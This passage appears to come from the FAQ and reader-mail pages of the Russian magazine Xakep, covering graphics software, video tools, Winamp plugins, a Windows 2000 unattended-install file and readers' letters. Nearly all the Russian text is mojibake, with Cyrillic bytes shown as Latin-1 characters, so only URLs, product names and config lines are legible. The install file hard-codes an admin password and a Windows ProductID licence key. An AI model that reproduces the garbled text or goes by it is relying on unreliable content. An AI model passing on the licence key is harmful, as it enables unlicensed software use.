- ñòàíäàðò, êàê è ìíîãèå äðóãèå ïðîäóêòû Adobe. ß íå äèçàéíåð, ïîýòîìó î âîçìîæíîñòÿõ òîãî è äðóãîãî<br />
ïàêåòà ìíå ñóäèòü ñëîæíî, íî çíàêîìûå äèçàéíåðû (åâðîïåéñêîãî óðîâíÿ) ñ ïîëíîé óâåðåííîñòüþ<br />
ãîâîðÿò, ÷òî Illustrator - ïàêåò ìîùíåå è â öåëîì ïðîôåññèîíàëüíåå. Áîëüíîé âîïðîñ ïîëèãðàôèè<br />
- òî÷íîñòü îòîáðàæåíèÿ öâåòîâ íà ýêðàíå è â ïå÷àòè. Åñëè â Èëëþñòðàòîðå òàêîé ïðîáëåìû íåò, òî â<br />
Êîðåëå ïîïðîáóé íàéäè íóæíûå öâåòîãðàììû. Òàê ÷òî âûâîä íàïðàøèâàåòñÿ ñàì: Èëëþñòðàòîð - äëÿ<br />
ïðîôåññèîíàëüíîé è âûñîêîêà÷åñòâåííîé ïîëèãðàôèè, Corel - äëÿ âñåãî îñòàëüíîãî.<br />
âîïðîñ.......................<br />
...............................<br />
...............................<br />
îòâåò.........................<br />
Ïîäñêàæè, ãäå íàéòè èíôó ïî âèäåîçàõâàòó, îöèôðîâêå, DivX'ó, Mpeg'ó,<br />
VirtualDub'ó è åãî ïëàãèíàõ. Òî, ÷òî ÿ óæå íàøåë, ìåíÿ íå ñîâñåì óñòðàèâàåò.<br />
A: http://www.ixbt.com/digimage/. Çäåñü ëåæèò íåñêîëüêî î÷åíü õîðîøèõ FAQ'îâ ïî ñîçäàíèþ è ðåäàêòèðîâàíèÿ âèäåî.<br />
http://www.doom9.org. Õîòü è àíãëèéñêèé, íî îòëè÷íûé ñàéò. Áóêâàëüíî âñå îá MPEG, DivX, DVD rip'å. Ïîäðîáíî è ñ èëëþñòðàöèÿìè (êàê ðàç òî, ÷òî íàäî? =)).<br />
http://www.vcdhelp.com/. Èíôîðìàöèÿ î VCD.<br />
http://www.dvddemystified.com/dvdfaq.html. Îòëè÷íûé FAQ ïî DVD.<br />
http://www.afanas.ru/video/index.htm. Âåñüìà èíòåðåñíûé ðåñóðñ î DVD.<br />
http://www.jeetkunedo.by.ru/ - Î÷åíü ïîëåçíûé ñàéò äëÿ íîâè÷êà.<br />
http://shelob.mordor.net/dgraft/, http://<strong>fl</strong>axen.dynip.com/vdf/,<br />
http://nickyguides.digital-digest.com/vdub-filters2.htm, http://republika.pl/vander74/virtualdub/index.html, http://home.bip.net/gunnart/video/ ïëàãèíû äëÿ VirtualDub'à è èõ îïèñàíèÿ.<br />
Íóæíî îòêðûòü ôàéë ôîðìàòà DCR. Äóìàþ,<br />
÷òî ýòî ãðàôè÷åñêîå èçîáðàæåíèå. Íî íè<br />
Photoshop, íè PaintBrush åãî íå îòêðûëè… :(<br />
âîïðîñ.......................<br />
...............................<br />
...............................<br />
îòâåò.........................<br />
A: Ôàéëû ôîðìàòà DCR îòêðûâàþòñÿ ïðîãðàììîé Macromedia Director (www.macromedia.com), áîëåå<br />
òîãî, åñëè óñòàíîâëåí Shockwave ïëàãèí, òî èçîáðàæåíèÿ ìîæíî ïðîñìàòðèâàòü è ÷åðåç îáû÷íûé<br />
Internet Explorer.<br />
À êàêèå ïëàãèíû äëÿ Winamp'à<br />
áûâàþò? Åñòü ëè ÷òî-íèáóäü<br />
ñòîÿùåå?<br />
âîïðîñ.......................<br />
...............................<br />
îòâåò.........................<br />
A: Îïèøó òîëüêî òå, êîòîðûå áûëè â ìîåì ïîëüçîâàíèè:<br />
MilkDrop (http://www.nullsoft.com/free/milkdrop/), G-Force<br />
(http://www.audiogalaxy.com/bands/omeara/), Winamp<br />
Visualization Plug-in Smoke<br />
(http://www.nullsoft.com/free/smoke/). Ñèìïàòè÷íûå ïëàãèíû<br />
äëÿ ñîçäàíèÿ âèçóàëèçàöèé.<br />
Streamripper (http://streamripper.sourceforge.net). Ïëàãèí,<br />
ïîçâîëÿþùèé ñîõðàíÿòü ïîòîêîâûå mp3-ôàéëû íà âèíò. Îòëè÷íûé<br />
èíñòðóìåíò äëÿ ñîõðàíåíèÿ ðàäèîòðàíñëÿöèé.<br />
HitList Winamp plug-in (http://inf.susu.ac.ru/~neumer/HitList/).<br />
Ìîäíàÿ ôåíüêà. Ñîçäàåò ñïèñîê íàèáîëåå ÷àñòî ïðîñëóøèâàåìûõ<br />
ìóçûêàëüíûõ êîìïîçèöèé è âûêëàäûâàåò âñå íà HTML.<br />
AMIP (http://amip.tools-for.net/). Åñëè òû õî÷åøü ïðèñîåäèíèòüñÿ<br />
ê òîëïå áàëáåñîâ, çàñîðÿþùèõ IRC êàíàëû ìåññàãàìè<br />
îá èãðàþùåé ó íèõ ìóçûêå, òî ýòîò ïëàãèí äëÿ òåáÿ.<br />
Now Playing (http://anton-sheyko.chat.ru/gen_np.zip). Àíàëîã<br />
ïðåäûäóùåãî, òîëüêî äëÿ e-mail êëèåíòîâ.<br />
SqrSoft Advanced Crossfading (http://ftp.winamp.com/customize/component/2000/10/29/P/SqrSoft_Advanced_Crossfading<br />
_Output.exe). Îòëè÷íàÿ øòóêà, íàêëàäûâàþùàÿ êîíåö èãðàþùåé<br />
êîìïîçèöèè íà íà÷àëî ñëåäóþùåé.  ðåçóëüòàòå ðàáîòû<br />
ïîëó÷àåòñÿ êà÷åñòâåííûé ìèêñ, áåç âñÿêèõ ïàóç è ò.ï. ß åãî<br />
èñïîëüçîâàë äëÿ ïðîâåäåíèÿ äèñêîòåêè - ýôôåêò ïðåâçîøåë<br />
âñå îæèäàíèÿ. Ñîâåòóþ.<br />
Vocal Remover (http://www.analogx.com/files/vremamp.exe). Äîïîëíÿëêà,<br />
ñïîñîáíàÿ âûðåçàòü âîêàëüíóþ ñîñòàâëÿþùóþ ìóçûêàëüíîé<br />
êîìïîçèöèè. Ïðèçíàþñü, ðàáîòàåò êîððåêòíî äàëåêî<br />
íå âñåãäà, íî òåì íå ìåíåå...<br />
Ñàìûå òóïûå ïèñüìà â FAQ:<br />
1) Ñëûøàë, ÷òî ÷åðåç ëîêàëüíóþ ñåòü ìîæíî ïîäêëþ÷èòüñÿ<br />
ê èíòåðíåòó çà 5 äîëëàðîâ â ìåñÿö, ïðàâäà ëè ýòî?<br />
2) Íèêàê íå ìîãó íàó÷èòüñÿ êîäèòü... ×òî äåëàòü?<br />
3) Ñ ìîèì ìèðêîì êàêàÿ-òî ôèãíÿ: îí ïåðåñòàë<br />
ïîäñîåäèíÿòüñÿ ê ñåðâåðàì. Ëþáûì! ×òî äåëàòü?<br />
4) Êàê ñìåíèòü ïàðîëü íà èíòåðíåò?
100<br />
Þíèòû<br />
FAQ<br />
Stepan Ilyin aka Step (faq@real.xakep.ru)<br />
Åñòü êîìïüþòåðíûé êëàññ:<br />
êîìïüþòåðû ðàñïîëàãàþòñÿ â 3<br />
ðÿäà ïî äåñÿòü ìàøèí, â óãëó<br />
ñòîèò ñòîë àäìèíà. Óæå íåñêîëüêî<br />
ðàç ñëó÷àëèñü èíöèäåíòû:<br />
ïðîïàäàëè òî êëàâèàòóðà, òî<br />
ìûøêà (øàðèêè îò íèõ êàæäûé<br />
äåíü èñ÷åçàþò), òî âîîáùå è òî,<br />
è äðóãîå. Êëàññ ðàáîòàåò 10<br />
÷àñîâ â äåíü, óñëåäèòü çà âñåìè<br />
ïðîñòî íåâîçìîæíî. Êàê ìîæíî<br />
îáåçîïàñèòü îáîðóäîâàíèå îò<br />
äåòåé-âàíäàëîâ?<br />
âîïðîñ.......................<br />
...............................<br />
îòâåò.........................<br />
A: ×åñòíî ãîâîðÿ, íèêîãäà íå ñòàëêèâàëñÿ ñ òàêîé ñèòóàöèåé, íî ìîãó<br />
ïîñîâåòîâàòü:<br />
1) Ïñèõîëîãè÷åñêîå âîçäåéñòâèå íà ëþäåé - î÷åíü ìîùíàÿ øòóêà. Ïîâåñü<br />
áðîñàþùóþñÿ â ãëàçà òàáëè÷êó "Êàáèíåò íàõîäèòñÿ ïîä ïîñòîÿííûì<br />
âèäåîíàáëþäåíèåì" è áóäü óâåðåí: êðàæ áîëüøå íå áóäåò. Äëÿ ïîëíîòû<br />
êàðòèíû ìîæíî ïîâåñèòü ìóëÿæ âèäåîêàìåðû ;).<br />
2) Åñëè ÷òî-òî ïðîïàäàåò, òî ðàçóìíî ñäåëàòü òàê, ÷òîáû óíåñòè ýòî áûëî<br />
áîëüøîé ïðîáëåìîé. Íàïðèìåð, ïðèêðåïèòü ïðîâîäà îò ìûøêè è êëàâèàòóðû<br />
ñòÿæêàìè äëÿ êðåïëåíèÿ ïðîâîäîâ ê ñòåíêàì.<br />
3) ×òî æå êàñàåòñÿ øàðèêîâ îò ìûøåê, òî ìîãó ëèøü ïîñî÷óâñòâîâàòü è<br />
ïðåäëîæèòü ðàçîðèòüñÿ íà îïòè÷åñêèå ìûøêè. Õîòÿ ñ äðóãîé ñòîðîíû... ìîæåò<br />
êòî-íèáóäü ðåøèò îòêîâûðÿòü îïòè÷åñêèå ñåíñîðû? :)<br />
Êàê ñêîïèðîâàòü äåðåâî<br />
êàòàëîãîâ, âîïðîñ....................... íå êîïèðóÿ ôàéëîâ?<br />
îòâåò.........................<br />
A: "xcopy Ñ:\*.* . /t /e"(áåç êàâû÷åê).<br />
Åñòü ÀÍÈÌÈÐÎÂÀÍÍÛÉ gif-ôàéë.<br />
Íà êàðòèíêå ñåðûé ôîí, íóæíî<br />
ñäåëàòü åãî ïðîçðà÷íûì. Êàê? (Êàê<br />
ñäåëàòü ïðîçðà÷íûé ôîí ó<br />
íåàíèìèðîâàííîãî gif'à, ÿ çíàþ).<br />
âîïðîñ.......................<br />
...............................<br />
îòâåò.........................<br />
A: Âîçìîæíî, åñòü áîëåå ðàöèîíàëüíûé ñïîñîá, íî è ýòîò íå òàê ïëîõ:<br />
1. Îòêðûòü ôàéë â Adobe ImageReady, ÷òîáû ýêñïîðòèðîâàòü gif-ôàéë ñî âñåìè ôðåéìàìè<br />
â ôîðìàò Adobe Photoshop'à (*.psd).<br />
2. Ïîëó÷åííûé ôàéë ïðåäñòàâëÿåò ñîáîé èçîáðàæåíèå ñ êîëè÷åñòâîì ñëîåâ, ðàâíûì<br />
êîëè÷åñòâó ôðåéìîâ.<br />
3. Âñå, ÷òî íåîáõîäèìî ñäåëàòü - âûðåçàòü âî âñåõ êàäðàõ ôîí. Ïî òâîèì ñëîâàì, îí<br />
îäèíàêîâûé (ñåðûé), ïîýòîìó ìîæíî íå ïàðèòüñÿ ñ êàæäûì êàäðîì, à ñäåëàòü âñå äëÿ<br />
îäíîãî, à ïîòîì ïîâòîðèòü äëÿ âñåõ îñòàëüíûõ. Äëÿ ýòîãî âêëþ÷àåì îòîáðàæåíèå îäíîãî<br />
èç ñëîåâ. Àêòèâèðóåì çàïèñü äåéñòâèé (îêíî actions), äàëåå Select -> Color<br />
Range, êëèêàåì íà ôîí è âûðåçàåì âûäåëåííîå. Îñòàëîñü ñíÿòü âûäåëåíèå (CTRL-D)<br />
è îñòàíîâèòü çàïèñü äåéñòâèé. Âñå. Òåïåðü ó òåáÿ åñòü çàïèñü äåéñòâèé, òàê ÷òî ìîæåøü<br />
çà ñ÷èòàííûå ñåêóíäû ïðîâåðíóòü òî æå ñàìîå ñî âñåìè äðóãèìè ñëîÿìè (â îêíå<br />
action - êíîïêà play).<br />
4.  èòîãå â òâîåì ðàñïîðÿæåíèè âñå íåîáõîäèìûå êàäðû ñ ïðîçðà÷íûì ôîíîì, îñòàëîñü<br />
ëèøü âîññîåäèíèòü èõ. Ïîäîéäåò ëþáîé gif-àíèìàòîð, òîò æå ImageReady.<br />
Î÷åíü ÷àñòî çàíèìàþñü<br />
óñòàíîâêîé Windows íà íîâûå<br />
êîìïüþòåðû. Ê ñîæàëåíèþ,<br />
êîíôèãóðàöèè ÷àñòåíüêî ðàçíûå,<br />
ïîýòîìó çàëèâàòü çàãîòîâëåííûå<br />
îáðàçû ÿ íå ìîãó, ïðèõîäèòñÿ âñå<br />
ñòàâèòü ðó÷êàìè. Åñëè äëÿ<br />
Windows 98 ÿ íàïèñàë ôàéëèê, è<br />
âñå ïðîõîäèò àâòîìàòè÷åñêè, òî<br />
ñ Win2000 òàê íå ïîëó÷àåòñÿ.<br />
Âðîäå áû âñå ñäåëàë, à âñå ðàâíî<br />
óñòàíîâùèê ïðîñèò ïîäòâåðäèòü<br />
ëèöåíçèîííîå ñîãëàøåíèå è<br />
ââåñòè êëþ÷ :(. Ïîäñêàæè, ãäå<br />
êîïàòü.<br />
âîïðîñ.......................<br />
...............................<br />
îòâåò.........................<br />
A: Äàííàÿ êîíôèãóðàöèÿ unatted.txt îòëè÷íî ðàáîòàåò, ïðîáëåìíûå<br />
ìîìåíòû ÿ îòìåòèë.<br />
[Unattended]<br />
UnattendMode=FullUnattended<br />
>OemSkipEula=Yes<br />
OemPreinstall=Yes<br />
OemPnPDriversPath="drivers\IntelINF"<br />
TargetPath=\WINNT<br />
FileSystem=ConvertNTFS<br />
ComputerType="Advanced Configuration And Power Interface (ACPI) PC"<br />
[GuiUnattended]<br />
AdminPassword=nafiga<br />
AutoLogon=Yes<br />
AutoLogonCount=1<br />
OEMSkipRegional=1<br />
TimeZone=125<br />
OemSkipWelcome=1<br />
[UserData]<br />
FullName="Stepan Ilyin"<br />
OrgName=Steps<br />
ComputerName=Steps-comp<br />
>ProductID=QP8X3-HFQPH-7R6X7-MJXYB-FDGQG<br />
Ó ìåíÿ åñòü DVD-ðèï îäíîãî<br />
ôèëüìà, ê ñîæàëåíèþ, íà àíãëèéñêîì<br />
ÿçûêå. Íî ÿ íàøåë åãî ïåðåâîä (mp3ôàéë).<br />
Îòñþäà âîïðîñ: êàê ìîæíî åãî<br />
ïðèñîåäèíèòü ê ôèëüìó ñ<br />
ÌÈÍÈÌÓÌÎÌ èçâðàòîâ?<br />
âîïðîñ.......................<br />
...............................<br />
îòâåò.........................<br />
A: NanDub (ftp://files.3dnews.ru/pub/dvd/nandub-binary-1.0rc2.rar) - îòëè÷íûé ñïîñîá<br />
ñ ìèíèìóìîì óñèëèé ïðèñîåäèíèòü ê ôèëüìó mp3, wav è ò.ï. Ñäåëàíà óòèëèòà íàñòîëüêî<br />
äîáðîòíî è ïîíÿòíî äëÿ þçåðà, ÷òî è îáúÿñíÿòü-òî ÷òî-ëèáî åùå íå õî÷åòñÿ…<br />
Ïðèõîäèë íåäàâíî îáðàòíûé âîïðîñ: "Êàê âûðåçàòü çâóê èç ôèëüìà?". Ýòî ëåãêî<br />
ðåàëèçóåìî ïðè ïîìîùè óæå íå ðàç óïîìèíàâøåãîñÿ VirtualDub'à (http://www.virtualdub.org/).<br />
Ìåíþ File -> Save WAV...<br />
Ïðàâäà ëè, ÷òî ïîä<br />
Linux'îì ìîæíî ïîèãðàòü<br />
â directx èãðû?<br />
âîïðîñ.......................<br />
...............................<br />
îòâåò.........................<br />
A: Äà, ñ ïîìîùüþ DirectX áèáëèîòåê WineX äëÿ WINE.<br />
Ðàññêàçàòü îáî âñåõ íþàíñàõ íàñòðîéêè êàê ïðîãðàììû,<br />
òàê è ñèñòåìû â FAQ'å íå ïðåäñòàâëÿåòñÿ âîçìîæíûì,<br />
ïîýòîìó ñîâåòóþ òåáå âçãëÿíóòü íà î÷åíü ïîäðîáíóþ<br />
ñòàòüþ, êîòîðàÿ ïðåäñòàâëåíà íà íàøåì ñàéòå<br />
(http://www.xakep.ru/post/17532/default.htm).
102<br />
Þíèòû<br />
e-MAIL<br />
Íàøå å-ìûëî: magazine@real.xakep.ru<br />
From: Weise [dio_x_ide@mail.ru]<br />
Subject: Çäîðîâàÿ êðèòèêà... Êîòîðàÿ åùå íèêîìó íå ìåøàëà.<br />
Äðóçüÿ!!! ß óæå ìîãó íàçâàòü ñåáÿ ïîñòîÿííûì ÷èòàòåëåì Õ. Âàø ïåðâûé æóðíàë ÿ<br />
ïðèîáðåë åùå â ñåíòÿáðå 2000 ãîäà, è ñ òåõ ïîð ÿâëÿþñü åãî ïîñòîÿííûì ÷èòàòåëåì.<br />
Îäíàêî, ðóáðèêó å-mail ïî÷åìó-òî ïðî÷åë òîëüêî â ïîñëåäíåì íîìåðå. Äåéñòâèòåëüíî<br />
ñòðàííî. Ýòî ìîå óïóùåíèå, ÿ åãî ïîëíîñòüþ ïðèçíàþ è ñîáèðàþñü èñïðàâèòü. Òåì íå<br />
ìåíåå, ïðîäîëæó...<br />
Öåëü ìîåãî ïîñëàíèÿ çàêëþ÷àåòñÿ íå â òîì, ÷òîáû âîñõâàëÿòü è ãîâîðèòü, êàêèå âû âñå<br />
ìîëîäöû (õîòÿ ýòî è òàê). Íåò! Ðåøèòåëüíîå íåò. È ïîýòîìó, íà ïðàâàõ âàøåãî ïîñòîÿííîãî<br />
÷èòàòåëÿ ñ íåìàëûì ñòàæåì, ïîçâîëþ ñåáå íåìíîãî êðèòèêè. Èòàê, ïîêîí÷èâ ñ<br />
ïðåëþäèåé, ïðèñòóïèì...<br />
1. Ñàìîå ñòðàøíîå, íà ìîé âçãëÿä, â âàøåì æóðíàëå, ýòî îòñóòñòâèå äóõîâíîñòè. Äà,<br />
äà, âû íå îñëûøàëèñü. ß ÄÀËÅÊÎ íå ñâÿòîé. Íî ìíå äóìàåòñÿ, ýòî ãëàâíîå. Íåò âî<br />
âñåì åäèíîãî âåêòîðà, ê êîòîðîìó ìîæíî áûëî áû ñòðåìèòüñÿ. Íåò öåëè. Âû ñêàæåòå<br />
- ñòðåìëåíèå ê çíàíèÿì?! Âîò öåëü! Â êàêîé-òî ìåðå äà, âîò òîëüêî áåç ñîçèäàòåëüíîãî<br />
ïðèìåíåíèÿ îíà òåðÿåò ñâîé ñìûñë. Âîîáùå, ÿ äóìàþ, ÷òî çíàíèÿ äîëæíû â ÊÎ-<br />
ÍÅ×ÍÎÌ ïëàíå ïðèìåíÿòüñÿ òîëüêî äëÿ ñîçèäàíèÿ. Âåäü ëîìàòü íå ñòðîèòü, ëîìàòü -<br />
ëåã÷å. À âîò ñîçäàòü ÷òî-òî ïîèñòèíå óíèêàëüíîå, íåïîõîæåå íè íà ÷òî äðóãîå... Âîò<br />
öåëü!  ïðîòèâíîì ñëó÷àå ìû îñòàíåìñÿ ìÿñî-ìàøèíàìè, êîòîðûå áåç óñòàëè ïîòðåáëÿþò<br />
èíôîðìàöèþ, â ëó÷øåì ñëó÷àå, ïðîñòî íå çíàÿ êóäà åå ïðèìåíèòü... Ïðîäîëæàåì<br />
ðàçãîâîð.<br />
2. À òåïåðü ãëàâíîå. Ïðîøó âñåõ. Çàäóìàéòåñü, ÷åãî âû õîòèòå â èòîãå?! Õàêíóòü âåñü<br />
ìèð? Äà, ýòî êðóòî. Èëè ëîìàíóòü êàêîé-íèáóäü Íàöèîíàëüíûé Áàíê? Ýòî åùå êðó÷å.<br />
Âîò òîëüêî äåíåæêè íà òîò ñâåò íå çàáåðåøü. Çàäóìàéòåñü î äóøå (äóìàòü î äóøå íèêîãäà<br />
íå ðàíî). À ÷òî òàêîå äóøà? ×ÅËÎÂÅÊ Â ÄÐÓÃÈÕ ËÞÄßÕ È ÅÑÒÜ ÄÓØÀ ×ÅËÎÂÅ-<br />
ÊÀ... À äëÿ òàíêèñòîâ ïîÿñíÿþ, âû áóäåòå áåññìåðòíû, åñëè áóäåòå ñîçèäàòü! ÂÀÑ ÁÓ-<br />
ÄÓÒ ÏÎÌÍÈÒÜ... Ñêàæèòå, êòî ñåé÷àñ ïîìíèò èìÿ êàêîãî-íèáóäü çëîäåÿ, òîëüêî íàñòîÿùåãî,<br />
âåêà ýäàê 16 - 17?! À êòî ïîìíèò ñòàðèêà Ëåîíàðäî, Ðàôàýëÿ, Ìèêåëàíäæåëî,<br />
ýòîò ñïèñîê ìîæíî ïðîäîëæàòü äî áåñêîíå÷íîñòè.<br />
Óëîâèëè, íàêîíåö, ìûñëü??? Åñëè äà, òî ÿ ñ÷àñòëèâ! Ïîíèìàþ, âû íå áîãàäåëüíÿ, íî<br />
âåäü ýòîãî è íå òðåáóåòñÿ, ñîâñåì íåò. Âû âåëèêèé è óæàñíûé - ÕÀÊÅÐ. Òàê â ýòîì-òî<br />
è "ñîëü", âåäü âàñ ÷èòàþò ëó÷øèå óìû íàøåé Ðîññèéñêîé ñîâðåìåííîñòè. È îò âàñ çàâèñèò,<br />
ñòàíóò ëè îíè íîâûìè Ðàôàýëÿìè êèáåðïðîñòðàíñòâà, èëè Àäîëüôàìè Ãèòëåðàìè!!!<br />
Íó äà ëàäíî. Ñîâñåì ìåíÿ ïîíåñëî. Äà è, ïîæàëóé, ïîñëå ñèõ âûñêàçûâàíèé ìîå ïèñüìî<br />
òî÷íî íå íàïå÷àòàþò. À õîòåëîñü áû! Íó, ÷òî æå, õîòÿ áû ïðîñòî ïðî÷òèòå åãî. Ïðî-<br />
÷òèòå...<br />
Ñ óâàæåíèåì, Weise.<br />
N.B. À âîîáùå, âàø æóðíàë ñàìûé ëó÷øèé. Ìîæåò òåïåðü íàïå÷àòàþò :)<br />
Ñåðäå÷íî ïîçäðàâëÿåì òîâàðèùà Ìóäðîãî ñ ïðèñâîåíèåì ïî÷åòíîãî çâàíèÿ<br />
ïîñòîÿííîãî ÷èòàòåëÿ è ñîçèäàòåëÿ-ïðîïîâåäíèêà. Ìåäàëåé íà âñåõ<br />
íå íàïàñåøüñÿ, ïîýòîìó â êà÷åñòâå ïàìÿòíîãî ïîäàðêà ïå÷àòàåì åãî ïîñëàíèå,<br />
èñïîëíåííîå çäîðîâîé êðèòèêè è ñòðåìëåíèÿ ê âñåîáùåé ëþáâè è<br />
ìèðó âî âñåì õàêíóòîì ìèðå. Ìû òóò ïîñîâåùàëèñü è ðåøèëè âñåé ðåäàêöèåé<br />
ðâàíóòü â äåðåâíþ Õó Éâàì, ê òèáåòñêèì ìîíàõàì, ïîñòèãàòü çàêîíû<br />
ìèðîçäàíèÿ è çàîäíî áåñïëàòíî ïðîéòè êóðñ äèçàéíà èíòåðüåðà a la china<br />
ñ ìîäíûì íàçâàíèåì "Ôýí-Øóé". Ïîñåìó îáúÿâëÿåòñÿ ñðî÷íûé íàáîð<br />
ïðîäâèíóòûõ ïåðöåâ - ïðîïîâåäíèêîâ äóõîâíîñòè â êèáåðïðîñòðàíñòâå -<br />
äëÿ ïîäíÿòèÿ äóõà ÷èòàòåëåé â íàøå îòñóòñòâèå.<br />
À åñëè ñåðüåçíî, ïðèÿòíî, ÷òî â ýòè äðåìó÷èå âðåìåíà åñòü åùå ëþäè (òåì<br />
áîëåå, ìîëîäûå), êîòîðûõ âîëíóåò âå÷íûé ôèëîñîôñêèé âîïðîñ ñìûñëà<br />
æèçíè, äà è ïðîñòî ëþäè, êîòîðûì íå ïëåâàòü ñ âûñîêîé êîëîêîëüíè íà òî,<br />
÷òî òâîðèòñÿ â ãîëîâàõ îêðóæàþùèõ. Íå áóäó íà÷èíàòü ñâîþ ïðîïîâåäü - ñêàæó<br />
ëèøü, ÷òî íàì òîæå äàëåêî íå âñå ðàâíî, ÷òî òâîðèòñÿ âîêðóã: ïî÷èòàé Èíòðî<br />
â ëþáîì íîìåðå X, è ñàì â ýòîì óáåäèøüñÿ.<br />
ÍÀ ÏÈÑÜÌÀ ÎÒÂÅ×ÀË AVALANCHE (AVALANCHE@REAL.XAKER.RU)<br />
From: T.J. [t.j.e_mail@rambler.ru]<br />
Subject: no subject hehehe...<br />
Äàðîâà ][/-\| î÷åíü óäîáíî. Èç Total'à óäîáíî îïèñàíèÿ ïðàâèòü/äîáàâëÿòü.<br />
Ñòàíîâèìñÿ íà íóæíûé ôàéë, äëÿ êîòîðîãî ïèøåì, è æìåì ctrl-z.<br />
Âñå-òàêè èíîãäà íåïîíÿòíî, ÷òî òàì ëåæèò ïîä èìåíåì, ñêàæåì, ffde3.zip... Îáîëî÷êà-îáîëî÷êîé<br />
- ñòèëüíî, íà ïÿòü ñëåïëåíà, íî íå òî - õî÷åòñÿ ðóêàìè-òî ïîùóïàòü...<br />
ñïàñèáî<br />
--<br />
Ñ íàèëó÷øèìè ïîæåëàíèÿìè...<br />
ÎÀÎ "Ñòàâðîïîëüñêèé Ïèâîâàðåííûé Çàâîä"<br />
Ïèñüìî èç ðàÿ! "Ïèâîâàð Èâàí Òàðàíîâ ëþáèò ïèâî ïèò", âîäêó æðàò è â X<br />
ïèñàò :). Ñ discript.ion'îì - èäåÿ õîðîøàÿ. Ñêàæó áîëüøå, â íåäàëåêîì áóäóùåì<br />
âñÿ îáîëî÷êà íàøåãî CD îáåùàåò íåñëàáî ïðîàïãðåéäèòüñÿ, òàê ÷òî<br />
íå òîëüêî ðàáîòíèêè "ïèâîâàðèòåëüíîé" îòðàñëè, íî è ïðîñòûå ëþáèòåëè<br />
óïîòðåáëÿòü ýòîò âîëøåáíûé íàïèòîê ïî íàçíà÷åíèþ (êàê ãîâîðÿò óìíûå<br />
ëþäè, ïåé ïèâî ïåííîå - áóäåò ïîïà çäîðîâåííàÿ) â îáèäå íå îñòàíóòñÿ.<br />
Âû áû, ðåáÿòà, ýêçåìïëÿð÷èê ñâîåé ïðîäóêöèè, ÷òî ëè, àòòà÷åì ïðèñëàëè<br />
íà òåñòèðîâàíèå, à òî íèêàê ñ Òîòàëîì íå ðàçáåðåìñÿ :).<br />
From: 1k0d3r [1k0d3r@mail.ru]<br />
Subject: Ñ Äíåì Ðîæäåíüÿ }{!<br />
Äîðîãîé æóðíàë!<br />
Ñ äíåì ðîæäåíèÿ!!!<br />
Ðàñòè è êðåïíè, áóäü ñèëüíåå.<br />
Äà áóäåò lost ó ïèíãà - íîëü,<br />
×òîá âñåì ðåäàêòîðàì ïî Cray’ó,<br />
È ïèâî ÷òîá ëèëîñü ðåêîé!<br />
Òû ïðåïîäíîñèøü âäîõíîâåíüå<br />
È ïðîãðàììèñòàì, è art’àì,<br />
Íå ïðåêðàùàé îáîãàùåíüå<br />
Ìîçãîâ ðîññèéñêèì õàêåðàì.<br />
Ïîêà êîííåêòîì ìû ãîðèì,<br />
Ïîêà âèíòû äëÿ õàêà æèâû,<br />
Î, Õ! Ðåäàêòîðàì òâîèì<br />
Ïîìåíüøå bad, ïîáîëüøå ïèâà.<br />
Íå ïðåêðàòèì ñòðî÷èòü ñòàòüè.<br />
Òû - âå÷íûé äâèãàòåëü âñåé Îò÷èçíû!<br />
Äëÿ òåõ, êòî êîìïû ïîëþáèë<br />
Íåò ëó÷øå ìàíóàëà â æèçíè...<br />
Ïîêà!<br />
Âîò è 1k0d3r íàì õîðîøåãî æåëàåò. Âèäíî, ñ ïðîäóêöèåé<br />
ïèâçàâîäîâ çíàêîì íå ïîíàñëûøêå.
From: Êèáîðã Ïîòðîøèòåëü [black31337@rambler.ru]<br />
Subject: Âàøà ÊÀÐÀ!!!!!!( õà-õà-õà)<br />
Âîáùåì íåáóäó äîëãî ðàñïèíàòüñÿ êàê ìíå íðàâèòüñÿ âàø æóðíàë à ñðàçó ïåðåéäó<br />
ê äåëó ò.å. ê îáâèíåíèþ!!! Êàê òîëüêî ÿ ïðî÷èòàë îò êîðêè äî êîðêè âàø æóíàë ìîÿ<br />
íå îêðåïíóâøàÿ äåòñêàÿ ïñèõèêà ðóõíóëà!!!Âñå èíòåðåñû ïðèñóùèå ìíå äî ýòîãî èñïàðèëèñü!!!<br />
È ìåíÿ çàèíòåðåñîâàëî âñå ÷òî ñâÿçàíî ñ êîìïüþòåðîì è èíòåðíåòîì è<br />
ýòî íå øóòêà îáñàëþòíî âñå!!! Õàêåðñòâî,êàðäèíã,WEB-äèçàéí,warez,ïðîãðàìèðîâàíèå,îâåðëîêèíã........<br />
ìîæíî ïåðå÷åñëÿòü äî áåñêîíå÷íîñòè!!!! È ýòî ïðèâåëî ê àáñîëþòíîé<br />
ïåðåãðóçêå ìîåãî ìîçãîâîãî êàìíÿ. È òåïåðü âû âèíîâíèêè äîëæíû ñêàçàòü<br />
ñ ÷åãî ìíå ñòîèò íà÷àòü è÷åì çàêîí÷èòü.<br />
P.S. Îãëàñèòå ïîëíûé ñïèñîê!(è ïî ïîðÿäêó)<br />
ß òóò â÷åðà ÿùèê ñìîòðåë: êðîìå ïàóòèíû, íà ýêðàíå íè÷åãî íîâîãî -<br />
÷óøü ïîêàçûâàþò îòáîðíóþ. Ïîñëå ïðîñìîòðà â òðèäöàòûé ðàç çà äâà<br />
÷àñà ïåðåäà÷è "Âñòàíü çâåçäîé" è ïðî÷òåíèÿ ïîñëàíèÿ íåêîåãî êèáîðãà-ïîòðîøèòåëÿ<br />
â îïóõøåé ãîëîâå íåâîëüíî ñòàëè ðîæäàòüñÿ èäåè çàìóòèòü<br />
êîíêóðñ "Ïîñëåäíèé àäìèí". Èäåÿ ïðîñòà. Íåñêîëüêî àäìèíîâàáîðèãåíîâ<br />
ïîìåùàþòñÿ â êîìïüþòåðíûé êëóá íà íåîáèòàåìîì îñòðîâå,<br />
â êîòîðûé çàïóñêàåòñÿ òîëïà ðîáîòîâ-ïîòðîøèòåëåé òèïà êèáîðã.<br />
Ñ÷àñòëèâ÷èê-àäìèí, ñóìåâøèé îáúÿñíèòü çëîìó þçâåðþ "ñ ÷åãî íà-<br />
÷àòü è ÷åì çàêîí÷èòü" è íå äîïóñòèâøèé ïåðåçàãðóçêè åãî ìîçãîâîãî<br />
êàìíÿ, ïîëó÷àåò ïðèç - áåñïëàòíîå ëå÷åíèå ðóõíóâøåé çà ãîäû òÿæåëîé<br />
ðàáîòû ïñèõèêè. Àäìèíàì - õîòü êàêîå-òî â æèçíè ðàçâëå÷åíüå, è<br />
çðèòåëè äîâîëüíû - ãäå åùå òàêîå óâèäèøü!<br />
